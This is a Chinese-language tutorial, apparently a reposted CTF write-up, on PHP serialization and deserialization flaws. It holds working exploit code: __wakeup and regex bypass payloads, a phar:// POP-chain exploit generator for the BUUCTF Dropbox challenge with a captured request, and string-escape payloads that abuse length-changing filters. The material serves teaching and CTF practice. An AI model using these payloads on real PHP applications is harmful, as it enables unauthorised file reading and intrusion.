PHP序列化是将变量或者对象转换成字符串的过程
PHP反序列化将字符串转换成变量或者对象的过程
__construct方法:在某一个类被实例化的时候,这个方法他会自动的执行
<?php
class Test{
private $a;
protected $b;
public $c;
var $d;
static $f;
function __construct()
{
$this ->a =$this ->b = $this ->c = $this ->c = $this ->f = $this ->e =1;
}
function __wakeup()
{
}
function __destruct()
{
}
}
$t = new Test;
$p = serialize($t);
print($p);
// O:4:"Test":6:{s:7:"Testa";i:1;s:4:"*b";i:1;s:1:"c";i:1;s:1:"d";i:1;s:1:"e";i:1;s:1:"f";i:1;}
// 第一位 O 代表是 object 是一个对象;第二位 4 则表示类名的长度,为4;第三位"Test"是类的名称;
// 第四位 6 是属性,也就是列表的长度,为 abcdef 这六个属性;
// 往后就是六个属性分别对应的类型和值了;
// 第一个变量是private $a; => s:7:"Testa";i:1; 首先 s则表示这个变量的名字为字符串,长度为7(这里的长度为7是因为类名+变量名) 后面又有i,i则表示这个数据的数据类型是整数型,值为1;
// 第一个分号(;)前面说明了他的名字已经修饰符, 第二个分号则说明了值是什么类型已经值是多少;
// 第二个变量是protected $b => s:4:"*b";i:1; 他的名字是字符串,然后他的名字为"*b";他的数据类型是i,也就是整数型,数值为1;
// 第三个变量是public $c => s:1:"c";i:1; 他的名字是字符串,然后他的名字为"c",他的数据类型是i,也就是整数型,并且数值也为1;
// 第四个变量是var $d => s:1:"d";i:1; 他的名字是字符串,然后他的名字为"d",他的数据类型是i,也就是整数型,并且数值也为1;
// 第五个变量是未提前申明的$e => s:1:"e";i:1; 他的名字是字符串,然后他的名字为"e",他的数据类型是i,也就是整数型,并且数值也为1;
// 第六个变量是 static $f; => s:1:"f";i:1; 他的名字是字符串,然后他的名字为"f",他的数据类型是i,也就是整数型,并且数值也为1;
// 这里说明为什么变量$a和$b明明只显示了五个和两个,但是实际上却有7位和4位字符串
// 是因为原本字符串是"%00Test%00a"和"%00*%00b"(这里的%00是用URL编码后的Ascii码为0的不可见字符来代替的).所以才显示有7位字符串和4位字符串的;
// 序列化的格式(大致为) => Type:[length]:(text)
__sleep()
和__wakeup()
__sleep()
函数是在进行序列化之前执行的,而_wakeup()
函数则是在进行反序列化之前执行的__sleep()
函数是告诉PHP
要序列那些属性,__sleep()
返回什么,PHP
就序列化什么<?php
class Test{
private $a;
protected $b;
public $c;
var $d;
static $f;
function __construct()
{
$this ->a =$this ->b = $this ->c = $this ->d = $this ->f = $this ->e =1;
}
function __wakeup()
{
}
function __destruct()
{
}
}
$t = unserialize('O:4:"Test":4:{s:1:"c";i:1;s:1:"d";i:1;s:1:"e";i:1;s:1:"f";i:1;}');
print_r($t);
Test Object
(
[a:Test:private] =>
[b:protected] =>
[c] => 1
[d] => 1
[e] => 1
[f] => 1
)
__wakeup()
函数中添加PHP语句$this -> c =2
再次执行PHP代码Test Object
(
[a:Test:private] =>
[b:protected] =>
[c] => 2
[d] => 1
[e] => 1
[f] => 1
)
<?php
class A {
public $file = __FILE__;
function __construct($file){
$this -> file = $file;
}
function __wakeup(){
if ($this -> file !== __FILE__){
$this -> file = __FILE__;
}
}
function __destruct(){
highlight_file($this -> file);
}
}
if (isset($_REQUEST['file'])){
@unserialize($_REQUEST['file']);
} else {
highlight_file(__FILE__);
}
$file
的值被设定为了__FILE__
,而后,有高亮显示__FILE__
的内容,此时我们的思路是将$file
的内容变成可以显示flag
的flag.php
。但是有一个__wakeup
函数,会将$file
的内容设置为__FILE__
此时我们需要利用一个PHP反序列化的一个漏洞即可进行绕过<?php
class A{
public $file = "flag.php";
}
$t = new A;
echo serialize($t);
O:1:"A":1:{s:4:"file";s:8:"flag.php";}
O:1:"A":2:{s:4:"file";s:8:"flag.php";}
__wakeup
函数所以就可以成功的拿到此题的flag第二个入门题目
<?php
class A{
private $file = __FILE__;
function __construct($file)
{
$this -> file = $file;
}
function __wakeup()
{
if ($this -> file !== __FILE__){
$this -> file = __FILE__;
}
}
function __destruct()
{
highlight_file($this -> file);
}
}
if (isset($_REQUEST['file'])){
$file = $_REQUEST['file'];
if (preg_match('/O:d+:/i', $file)){
die("hacking!!!");
}
@unserialize($_REQUEST['file']);
}else{
highlight_file(__FILE__);
}
一个O加上:加上任意数字再加上一个冒号:
然后不区分大小写,并且将上一题的public
换成了private
<?php
class AAA{
private $file = "flag.php";
}
$a = new AAA;
echo serialize($a);
O:3:"AAA":1:{s:9:"AAAfile";s:8:"flag.php";}
private
所以应该修改O:3:"AAA":2:{s:9:"%00AAA%00file";s:8:"flag.php";}
hacking!!!
的字样,所以我们要绕过正则表达式,正则匹配主要是匹配O:数字:
,而我们的payload为O:3:
。我们第三位是一个数字,那么数字是可以有正数和负数的,而正数前面的符号进行添加和省略对数字本身是没有影响的,此时我们给数字前面添加一个
+
号,即可绕过这个正则匹配,但是这个+
需要经过URL编码,不然会被URL解码成为一个空格所以最后的payload为O:%2b3:"AAA":2:{s:9:"%00AAA%00file";s:8:"flag.php";}
flag.php
文件中的内容了__sleep() // 使用serialize时触发;
__destruct() // 对象被销毁的时候出发;
__call() // 对象上下文中调用不可访问的方法时触发;
__callStatic() // 在静态上下文中调用不可访问的方法时触发;
__get() // 用于不可访问的属性读取数据
__set() // 用于将数据写入不可访问的数据
__isset() // 在不可访问的属性上调用isset()或empty()触发
__unset() // 在不可访问的属性上使用unset()时触发
__toString // 把类当作字符串使用时触发
__invoke() // 当脚本尝试将对象调用为函数时触发
A->B->C
phar
的示例代码<?php
class B{
public function __destruct()
{
echo $this -> name;
}
}
$phar = new Phar("test.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$o = new B;
$o -> name = 'P1ng';
$phar -> setMetadata($o);
$phar -> addFromString("test.txt", "test");
$phar -> stopBuffering();
// 这里首先创建了一个名为B的类,然后实例化了一个Phar,并传入了一个字符串,那么这个字符串之后会被保存为一个文件,也就是文件名
// $phar -> startBuffering(); -> 开启缓冲
// $phar -> setStub("<?php __HALT_COMPILER(); >");
// 这里是一个phar文件的标志位,这里往phar文件中写了一段PHP的代码,这个代码的具体含义是中止编程
// 注: 这个标志位的前面可以随便加字符,但是结尾一定是这个标识位来结尾
// 然后就是实例化了一个类,并且把他的name属性定义为了P1ng
// 然后将$o设置为phar的媒体数据写入phar文件中
// 然后是 $phar -> addFromString("test.txt", "test"); 本意是把test的文件的数据导入到phar这个压缩包中的test.txt这个文件中
// 这里因为没有利用到所以没有这个文件也没有关系
// $phar -> stopBuffering(); 停止写入数据
test.phar
的文件,然后我们打开这个文件$phar -> setStub("<?php __HALT_COMPILER(); ?>");
等内容,但是重要的是我们可以发现一串经过了序列化的一个对象,也就是一串字符串O:1:"B":1:{s:4:"name";s:4:"P1ng";
name
,然后变量name
的内容也是字符串,长度为4,为P1ng
。这不正是我们上方代码写的对象
$o
实例化之后的字符串嘛?$o = new B;
$o -> name = 'P1ng';
接下来我们稍微的调整一下代码,在代码下面加上一小段代码:
file_get_contents('phar://test.phar/text.txt');
test.phar
文件中得的test.txt
数据。执行添加上
file_get_contents
代码的代码后,得到结果为P1ngP1ng
,一开始不加file_get_contents
之前是只有一个P1ng
的这边是因为,一开始有一个类中有一个
__destruct
方法,打印P1ng
,第二个就是因为file_get_contents
又打印了一个。这边我们直接做一道真题来适应适应Web1]Dropbox(BUUCTF]
P1ng/123456
,然后利用注册的账号和密码直接登入进去Content-Type:
字段伪造为image/jpeg
就可以绕过现在,实现文件上传,但是回到index.php
页面发现上传是上传成功了,但是后缀被强行的改为jpg
,不存在一句话木马利用,所以把目标转向其他地方。点击下载,查看
burp suite
中的数据包filename
参数中的,我们将数据包传给repeater
模块进行测试,看是否有任意文件下载漏洞,可以包含到index.php
和其他php
文件。经过fuzz测试,发现此处存在任意文件下载,并且
index.php
等文件仅仅是在上传文件目录的上两层文件夹中。php
文件都下载下来index.php
文件开始对这些文件进行代码审计首先从
index.php
的php
代码中看到,index.php
首先先包含了class.php
,我们再利用任意文件下载的漏洞将class.php
文件下载一下index.php
的代码内容:<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
index.php
中先实例化了一个名为FileList
的类,然后再调用了这个类中的两个方法Name
和Size
,那么这个类的内容,相比就在class.php
中。但是我们看到
FileList
类中实际上是只有三个方法的,分别是__construct
,__call
和__destruct
三个魔术方法的,但是如果调用类中没有的方法是会报错,但是index.php
却没有报错,这里是因为其中一个魔术方法__call
,当一个类中不存在或不可调用的一个方法被调用了,那么就自动的调用__call
方法,也就是说,index.php
调用了两次这个__call
。那我们来分析一下这个
__call
方法:public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
$func
变量加入到$funcs
这个数组当中,然后去遍历每个文件( foreach
语法结构提供了遍历数组的简单方式 ),然后再调用一个名为results
的数组,第一个key
为file
类中的name
方法,第二个key
为$func
然后等于file
类中的$func
方法。那我们就继续审计file
类class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
file
类中总共有五个方法,分别是open
,name
,size
,delete
,close
;-
open
方法就是判断filename
给出的文件是否存在 -
name
方法就是得到filename
的文件名 -
size
方法就是得到filename
的大小 -
delete
方法就是删除filename
-
close
方法是读取这个文件
close
方法,如果我们能够做到控制这个读取的文件名,我们就可以做到任意文件读取我们的思路就可以变为,让
FileList
对象去执行一个close
方法,但是我们的FileLast
中是没有close
方法的,这个时候就会变成让file
去执行close
方法此时我们会有一个疑问,我们不是在下载功能处得到了一个任意文件下载的漏洞了嘛?为什么还要在
class.php
中再获取一个任意文件读取漏洞,所以这个时候我们审计一下download.php
文件。download.php
文件代码如下:<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
class.php
,然后出现两个函数-
ini_set
:设定指定选项的值 -
getcwd()
:获取当前的工作目录
file
,并将$filename
变量的值设置为$_POST['filename']
的值。接下来是一个
if
的判断,首先filename
的长度不能够超过40,并且file
类中的open
方法可以对filename
执行,然后用stristr
函数判断filename
中是否有flag
字符串,如果有则执行echo File not exist;
所以我们这个任意文件下载是不能够下载flag.那么我们的思路如下:
-
我们首先要构造一个 FileLast
实例化的对象 -
然后让这个对象调用不存在的 close
方法,这样就会调用file
类中的close
方法 -
还需要将 file
类中的filename
的值设置为flag
phar://
来达到第一条实例化一个FileLast
的对象,但是却不可以实现第二条,让我们实例化的这个对象调用close
方法此时就需要利用到
POP链
了,我们找到其他地方,其他调用到close()
方法的地方,然后我们就找到了class.php
中User
类中的__destruct
方法调用到了一个close()
方法。public function __destruct() {
$this->db->close();
}
User
类的close()
,中发现有一个db
属性,这个db
属性是全局变量连接MySQL
的对象$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
// PS:省略了大部分代码
}
User
类销毁的时候,将与MySQL
的连接关闭。那么恰巧因为MySQL
关闭连接的方法叫close
,而我们进行利用的方法也叫closes
.那么如果我们将db
替换为file
。,那么就正好了我们尝试构造这么个exp
<?php
use User as GlobalUser;
class User{
public $db;
function __construct(){
$this -> db = new FileList();
// 将db变为FileList的对象,就等于是$this -> new FileList -> close(); => File -> close()
}
}
class FileList {
private $files;
private $results;
private $funcs;
function __construct()
{
$this -> files = [new File('/flag')]; // 传入一个/flag给File类中
$this -> results = [];
$this -> funcs = [];
}
}
class File {
public $filename;
function __construct($name)
{
$this -> filename = $name; // 将传入的/flag设置为filename
}
}
$a = new User();
// 当我们将$a传入服务器的时候,我们销毁这个$a,然后就会执行class.php User()中的__destruct方法
// 原本是调用db->close() 因为我们构造的exp,导致db->close()变成了FileList->close()
// 然后FileList中没有close的方法,就去调用__call的方法,调用__call的方法,就变为调用File的close
// 因为我们exp的原因,$filename的值变为flag,调用file->close()方法的时候,就会读取/flag的内容
$phar = new Phar("exp.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("exp.txt", "exp");
$phar -> stopBuffering();
// 然后利用phar,生成一个exp.phar包
exp.phar
包,包中有已经序列化过的$a
的内容了<?php __HALT_COMPILER(); ?>
O:4:"User":1:{s:2:"db";O:8:"FileList":3:{s:15:"FileListfiles";a:1:{i:0;O:4:"File":1:{s:8:"filename";s:5:"/flag";}}s:17:"FileListresults";a:0:{}s:15:"FileListfuncs";a:0:{}}} exp.txtbRexp9' U|+GBMB
exp.phar
上传到服务器内,只需要绕过Content-Type:
字段的内容就可以上传成功,虽然后缀会被强制修改,但是并不影响到我们文件本身的内容,所以没有太大的问题然后再从下载的地方抓包进行
phar://
协议的利用flag
文件不是flag
,而是flag.txt
这道题除了这里还有另一个小地方,就是
download.php
的另一个设置ini_set("open_basedir", getcwd() . ":/etc:/tmp");
当前文件夹
,etc
,tmp
这三个文件夹中的内容...但是我们漏了一个重要的功能,那就是删除功能,所以我们将删除功能的代码也下载下来瞅一眼
delete.php
文件代码<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
open($filename)
进行操作。我们对delete.php
进行抓包POST /delete.php HTTP/1.1
Host: a4073d28-ad4e-4715-8ab8-473d95519df5.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 23
Origin: http://a4073d28-ad4e-4715-8ab8-473d95519df5.node4.buuoj.cn:81
Connection: close
Referer: http://a4073d28-ad4e-4715-8ab8-473d95519df5.node4.buuoj.cn:81/index.php
Cookie: UM_distinctid=17f301ebdc1427-0e20652bf0567b-4c3e227d-13c680-17f301ebdc2412; PHPSESSID=30ac3e3e0789f46c6cecdbc3c4774741
filename=phar://exp.jpg
filename
后面的参数修改为phar://exp.jpg
这里要修改为jpg
为不是phar
因为服务器强制的修改了文件名。然后放到repeater
模块中进行操作,就可以拿到flag
!class.php
中的FileList
类中的__call
方法,和File
类中的close
方法,为了构造POP链
,还利用了User
类中的close
方法,将原本的db
数据库连接对象替换为了FileList
的对象,然后将File
类中的filename
属性替换为了flag.txt
来读取本题的flag
文件,但是利用下载点的时候被限制住了工作目录,所以需要换一个功能点进行测试。a:1:{i:0;s:3:"123";}???
int
型的0
,然后value
值是一个str
型,长度为3
的123
,但是可以看到后面有一串???
这个是什么东西呢?我们先不管,先将这一串字符串进行反序列化执行PHP代码
<?php
print_r(unserialize('a:1:{i:0;s:3:"123";}???'));
Array
(
[0] => 123
)
?
所得到的结果,此时我们再将?
都去掉查看回显Array
(
[0] => 123
)
123
的内容是可控的,那么我们直接在123
后面加上前面一个序列化的结束符a:1:{i:0;s:3:"123";}";}
123";}
然后就会导致后面的字符串失效,也就是说原来的";}
无效了这里的
字符串逃逸的原理
其实和SQL注入
的原理差不多。SQL注入
是闭合前面
的查询语句,然后后面接上自己的恶意SQL语句。字符串逃逸
是闭合前面的属性,后面接上我们自己添加的其他的属性接下来我们看一看
php_var_unserialize
函数的实现。首先看一段var_unserialize.c
文件yych = *YYCURSOR;
switch (yych) {
case 'C':
case 'O': goto yy4;
case 'N': goto yy5;
case 'R': goto yy6;
case 'S': goto yy7;
case 'a': goto yy8;
case 'b': goto yy9;
case 'd': goto yy10;
case 'i': goto yy11;
case 'o': goto yy12;
case 'r': goto yy13;
case 's': goto yy14;
case '}': goto yy15;
default: goto yy2;
}
yych
这个指针用switch
来匹配我们序列化之后的字符串,这边我们随便举个例子,如果匹配到s
,我们跟进它,最终会发现,最终会跳转到yy90
来,我们简单分析一下yy90
的代码yy90:
++YYCUROSR;
#line 800 "ext/standard/var_underializer.re"
{
size_t len,maxlen;
char *str;
len = parse_uiv(start + 2);
maxlen = max + YYCURSOR;
if (maxlen < len){
*p = start + 2;
return 0;
}
str = (char*)YYCURSOR;
YYCURSOR += len;
if (*(YYCURSOR) != '"'){
*p = YYCURSOR;
return 0;
}
if (*(YYCURSOR +1) !=';'){
*p = YYCURSOR +1;
return 0;
}
YYCURSOR +=2;
*p = YYCURSOR;
if (len ==0){
ZVAL_EMPTY_STRING(rval);
}else if (len == 1){
ZVAL_INTERNED_STR(rval, ZSTR_CHAR((zend_uchar)*str));
}else if (as_key){
ZVAL_STR(rval, zend_string_init_interned(str, len, 0));
}else{
ZVAL_STRINGL(rval, str, len);
}
return 1;
}
yy90
中的这一小段len = parse_uiv(start + 2);
maxlen = max + YYCURSOR;
if (maxlen < len){
*p = start + 2;
return 0;
start
的位置加了两位,也就是识别到s
之后往后移两位,也就会识别到我们字符串长度的信息,然后得到长度的信息,进行判断,如果我们输入的长度超过了它的最大长度也就是maxlen
,他就会return 0
然后向下继续分析
YYCURSOR += len;
if (*(YYCURSOR) != '"'){
*p = YYCURSOR;
return 0;
}
YYCURSOR
指针加上了获取到的长度len
,然后如果长度的下一位不是双引号的话,也就会抛出错误if (*(YYCURSOR +1) !=';'){
*p = YYCURSOR +1;
return 0;
}
;
,也会抛出错误,否则就会对len
这一部分进行编程字符串,然后return 1
表示成功if (len ==0){
ZVAL_EMPTY_STRING(rval);
}else if (len == 1){
ZVAL_INTERNED_STR(rval, ZSTR_CHAR((zend_uchar)*str));
}else if (as_key){
ZVAL_STR(rval, zend_string_init_interned(str, len, 0));
}else{
ZVAL_STRINGL(rval, str, len);
}
return 1;
S:len:"字符串内容";
What we can do.
<?php
error_reporting(255);
class A{
public $filename = __FILE__;
public function __destruct(){
highlight_file($this->filename);
// 高亮显示 filename 参数中的文件,默认是当前文件
}
}
function waf($s){
return preg_replace('/flag/i', 'index', $s);
// 识别flag然后将其替换为index
}
if (isset($_REQUEST['x']) && is_string($_REQUEST['x'])){
// 输入一个参数 x 且这个 x 必须是一个字符串
$a = [
0 => $_REQUEST['x'],
1 => "1"
];
// 然后定义一个数组类型, 0 对应的是我们的参数 x , 1 对应的就是 1
@unserialize(waf(serialize($a)));
// 先对数组$a进行序列化,然后过一遍上面定义的waf,然后在对其进行反序列化
}else{
new A();
}
A
这个类中,将filename
的值改为flag.php
,那么我们怎么操作呢?首先我们可控的变量只有
$_REQUEST['x']
,而这个x
经过了序列化,然后过一遍waf
然后再反序列化,似乎和我们的A
没有任何关系我们直接来看
payload
,然后对payload进行一个分析flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}
flag
字符串,然后更上了一个;
,然后为整数型,数值为0,跟上一个;
号,然后再写了一个o
,一个对象,对象名称长度为1
,名称为A
,有一个属性,字符串类型的名称,名称长度为8
,为filename
,所对应的值的长度也为8
,为666c61672E706870
,然后闭合这个序列化字符串,后面跟上了两个}
假设我们先不添加前面的
flag
,直接将后面的";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}
发送给服务器
php
的代码<?php
$a = [
0 => '";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}',
1 => "1"
];
print_r(serialize($a));
a:2:{i:0;s:65:"";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}";i:1;s:1:"1";}
s:65
也就是说键0
对应的值长度为65
,也就是说,他会从第一个"
往后65
位都进行匹配,直到匹配完且下一位为"
,也就是说我们输入的";
这些字符都作为了数值,并没有利用起来从我们上面分析的源码来看,它是按照长度来进行匹配的,所以我们没有办法和SQL注入一样,直接用特殊的符号将其进行闭合
他的长度,是由于他在序列化的时候得到的长度,我们是没有办法进行改变的
但是这道题还有一个关键点,那就是前面的
waf
waf
会将我们输入的字符串中有flag
的字符串替换为index
,我们可以发现,flag
字符串长度为4
,而index
字符串长度为5
,这样是不是可以帮我们增加一个长度?而且这个
waf
巧的就是没有在serialize
前面替换,而是在其后面进行替换,那么我们的突破点就在这里。接下来在我们本地的php
脚本中添加waf
函数,并进行利用<?php
$a = [
0 => 'flag',
1 => "1"
];
function waf($a){
return preg_replace('/flag/i', 'index', $a);
}
print_r(waf(serialize($a)));
flag
尝试一下,看看返回的结果a:2:{i:0;s:4:"index";i:1;s:1:"1";}
0
对应字符串的长度是4
而实际长度却是5
而反序列化进行匹配的时候,匹配到
x
的位置,应该是"
,匹配错误,抛出异常,继而匹配下一位,"
匹配到;
还是匹配不到,又抛出一个错误。首先我们没加waf
函数先进行序列化a:2:{i:0;s:325:"flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}";i:1;s:1:"1";}
325
的,然后我们再将waf
函数利用上a:2:{i:0;s:325:"indexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindex";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}";i:1;s:1:"1";}
325
没有变化,但是所有index
加起来的长度正好是325
,然后第326
位则是"
,正好匹配到,然后有用;
将前面这个属性进行闭合,然后就可以利用我们自己构造的A
对象这个时候正好可以解释为什么后面是两个
}
,而不是一个,可以看到前面又表明这个数组只有两个值,而第一个}
表明filename
结束,第二个}
则是闭合了数组的内容,这样就不会导致原本两个值加上我们自己构造的第三个值导致反序列化错误而后面的字符,也就作为我们一开始例举的三个问号被忽略。这就达到了我们的一个字符串逃逸的效果,而这一题逃逸了
i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}"
这些字符串
总结:这道题目主要原因是在
waf
过滤的时候没有考虑字符串替换之后长度不一,造成长度溢出,而溢出的长度正好可以让我们利用,构造恶意的序列化字符串来达到效果这是一道比较简单的例子,接下来我们看一道比赛真题
CISCN-2020Final
<?php
if (isset($_POST['old_password'])
&& isset($_POST['update_password'])
&& isset($_POST['update_age'])
&& isset($_POST['update_email'])
&& is_string($_POST['old_password'])
&& is_string($_POST['update_password'])
&& is_string($_POST['update_age'])
&& is_string($_POST['update_email'])
)
{
if ( preg_match('/[^d]/', $_POST['update_age']) || !filter_var($_POST['update_email'], FILTER_VALIDATE_EMAIL)
|| strlen($_POST['update_password']) > 16 || preg_match('/W/', $_POST['update_password']) )
$user -> alterMes("invalid information", "./dashboard.php");
$update_profile = array(
"old_password" => $_POST['old_password'],
"old_real_password" => $user->password,
"password" => $_POST['update_password'],
"age" => $_POST['update_age'],
"email" => $_POST['update_email']
);
$user -> update(serialize($update_profile));
}
old_password
,update_password
,update_age
,update_email
的内容,然后会对提供的数据进行过滤preg_match('/[^d]/', $_POST['update_age']) || !filter_var($_POST['update_email'], FILTER_VALIDATE_EMAIL)
|| strlen($_POST['update_password']) > 16 || preg_match('/W/', $_POST['update_password'])
update_age
只能够是数字类型,然后update_email
只能够是邮箱类型,然后update_password
的数据长度只能够小于等于16,而且内容只能够是一些字符,如果这些参数全都正常的话就会构造一个名为$update_profile
的数组$update_profile = array(
"old_password" => $_POST['old_password'],
"old_real_password" => $user->password,
"password" => $_POST['update_password'],
"age" => $_POST['update_age'],
"email" => $_POST['update_email']
);
old_password
是没有做限制的,所以我们可以对old_password
进行一个利用update
函数传入$user
中。我们来看看update函数waf
,然后再经过反序列化传入$data
中然后这里的
waf
其实和上一题的waf
差不多,只是过滤的条件增加了,上一题只有单调的flag
,但是这一题有flag,php
等等上一题的利用点其实是
A
类中的__destruct
函数,而这一题的利用点也是__destruct
函数它首先会严重是否设置了
username
等内容,然后会得到这个头像的文件的内容,将其以base64
的方式输出出来首先我们需要知道我们要逃逸那些字符串
";
我们需要将前面的内容闭合掉首先是
i:0;O:4:"user"
键随便取,取0,然后我们需要利用的对象,对象名称长度为4
,为user
因为
__destruct
函数要检测password
等值是否存在,所以这些值我们都需要给他构造出来:6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";}
content
属性,所以要加%00
,还有一个私有属性也需要加%00
因为这道题的
flag
也在flag.php
中,所以我们先直接写flag.php
进行测试,然后还需要再最后多加一个}
,闭合整个数组payload
为";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";s:8:"flag.php"}}
payload
";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";s:8:"flag.php"};i:1;N;i:2;N;i:3;N}
payload
还有一个小问题,就是flag.php
,flag.php
也是属于flag
的,所以会被替换掉,替换为index.php
,就会导致错误,所以这里我们就利用反序列化的特性,用大写的S
,然后字符串用十六进制表示,然后它们会把十六进制变为字符串再解析所以得到
payload
";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";S:8:"666c61672E706870"};i:1;N;i:2;N;i:3;N}
193
个单位,但是这个是不准确的,因为我们构造的payload
中有%00
,而%00
相当于一个单位,所以最终的单位为185
所以我们需要利用
waf
得到185
的溢出空间payload
为flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";S:8:"666c61672E706870"};i:1;N;i:2;N;i:3;N}
flag.php
的内容给base64
编码出来总结:这几题主要都是要利用题目本身的
waf
,进行利用,然后利用waf
的缺陷得到溢出的空间,然后填充我们恶意的序列化之后的字符串,需要注意的是本身序列化之后有多少的数据,几个键值,都不能少,否则会导致反序列化报错这个是属于增加字符串溢出,当然还有减少字符串的反序列化题目,不过大体上的知识点差不多
__destruct
函数执行条件:-
对象设为null -
生命周期结束
-
unset
创建
,执行
,销毁
的过程当一个程序开始执行就会像系统申请内存,但是如果当程序结束,那么同时也就会释放内存,就会销毁对象,当对象开始销毁的时候,就会执行
__destruct
函数中的内容当一个对象一开始是
A->B
的,然后变成了A->C
,对象B
没有索引了之后,会被垃圾回收的机制回收掉,例如a:2:{i:0;O:4:"Test":0:{};i:0;N;}
0=>Test
,把Test
赋值给了键值0
,但是后面又把0
赋值伪NULL
了,导致Test
没有索引,这就会触发__destruct
函数原文始发于微信公众号(SecIN技术平台):原创|PHP 序列化和反序列化
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论